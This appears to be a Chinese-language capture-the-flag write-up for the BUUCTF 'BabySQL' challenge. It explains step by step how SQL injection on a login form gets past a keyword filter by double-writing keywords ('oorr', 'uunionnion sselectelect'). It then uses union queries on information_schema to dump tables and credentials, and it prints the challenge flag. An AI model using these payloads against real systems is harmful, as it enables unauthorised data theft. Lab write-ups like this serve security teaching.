题目[极客大挑战 2019]BabySQL 1
题目来源: https://buuoj.cn/challenges#[%E6%9E%81%E5%AE%A2%E5%A4%A7%E6%8C%91%E6%88%98%202019]BabySQL
分析过程:进入靶场,有如下页面
第一步:判断是否存在注入,注入是字符型还是数字型
输入
1'
发现不回显,显示错误
输入
1' #
显示正常
初步判断存在sql注入
输入
1' or '1'='1
,显示错误
其中显示错误的字符中,输入的缺少了一部分
输入:username=1' or 1=1# and password=1
显示错误字符:*'1=1 #' and password='1''*
其中or没在错误字符中显示,可能原因是被过滤替换成了空格,考虑双写进行绕过 输入:*1' oorr 1=1#,成功登陆
第二步:判断注入点字段长度 输入
1' oorrder bbyy x#
,令x=1逐渐增加进行尝试,当x=4时出现报错, 说明注入点字段长度为3
第三步:确认数据回显位置 使用联合注入进行尝试
输入*1' uunionnion sselectelect database(),2,3#,依次变换函数database()的位置,确定哪个位置会回显出我们所查询的信息。经尝试,第三个注入点字段会回显查询信息
第四步:爆表名
输入:1' uunionnion sselectelect 1,2,group_concat(table_name) ffromrom infoorrmation_schema.tables wwherehere table_schema=database()#
成功获得两个表 'b4bsql,geekuser'
第五步:爆字段
输入:1' uunionnion sselectelect 1,2,group_concat(column_name) ffromrom infoorrmation_schema.columns wwherehere table_name='表名'#
表名处替换为b4bsql或geekuser 得到三个相同的字段 'id,username,password'
第六步:爆数据
两个表中,'b4bsql',更加可疑,先爆该表的数据、 输入:1' uunionnion sselectelect 1,2,group_concat(id,username,passwoorrd) ffromrom b4bsql#,显示有如下页面,有疑似flag的字符串,查看源代码进行确认
有疑似flag的字符串,查看源代码进行确认
发现flag:flag{62252ceb-0ed1-4255-bafd-15a3f6772ddf}
版权归原作者 QS636 所有, 如有侵权,请联系我们删除。